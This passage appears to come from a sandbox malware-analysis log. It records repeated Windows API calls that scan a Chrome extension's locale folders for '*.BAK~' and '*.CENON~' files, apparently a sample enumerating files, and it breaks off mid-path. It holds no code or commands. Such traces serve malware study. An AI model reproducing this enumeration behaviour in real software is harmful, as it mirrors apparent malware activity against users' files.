lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.903] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.909] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.909] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.910] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.910] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.918] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.918] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.919] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.919] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.925] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.925] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.926] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.926] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.934] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.934] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.935] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.935] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.941] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.941] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.942] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.942] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.950] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.950] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.951] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.952] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.958] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.958] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.959] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.959] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.966] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.966] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.967] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.967] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.974] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.975] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.976] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.976] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.982] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.983] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.983] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.984] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.990] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.990] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.991] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.991] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.999] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.999] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.000] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.000] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.007] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.007] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.008] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.008] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.016] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.016] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.017] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.017] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.032] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.032] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.033] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.033] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.041] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.041] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.042] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.042] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.049] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.049] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.050] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.050] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.057] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.057] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.058] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.058] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.065] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.065] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.066] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.066] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.074] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.074] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.075] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.075] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.082] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.082] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.083] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.084] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.090] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.091] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.092] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.092] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.099] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.099] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.100] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.100] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.106] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.107] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.108] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.108] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.114] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.114] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.115] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.115] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.122] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.123] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.124] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.124] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.130] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.130] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.131] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.131] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.140] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.140] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.141] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.141] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.149] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0048.368] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x1a33 [0048.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 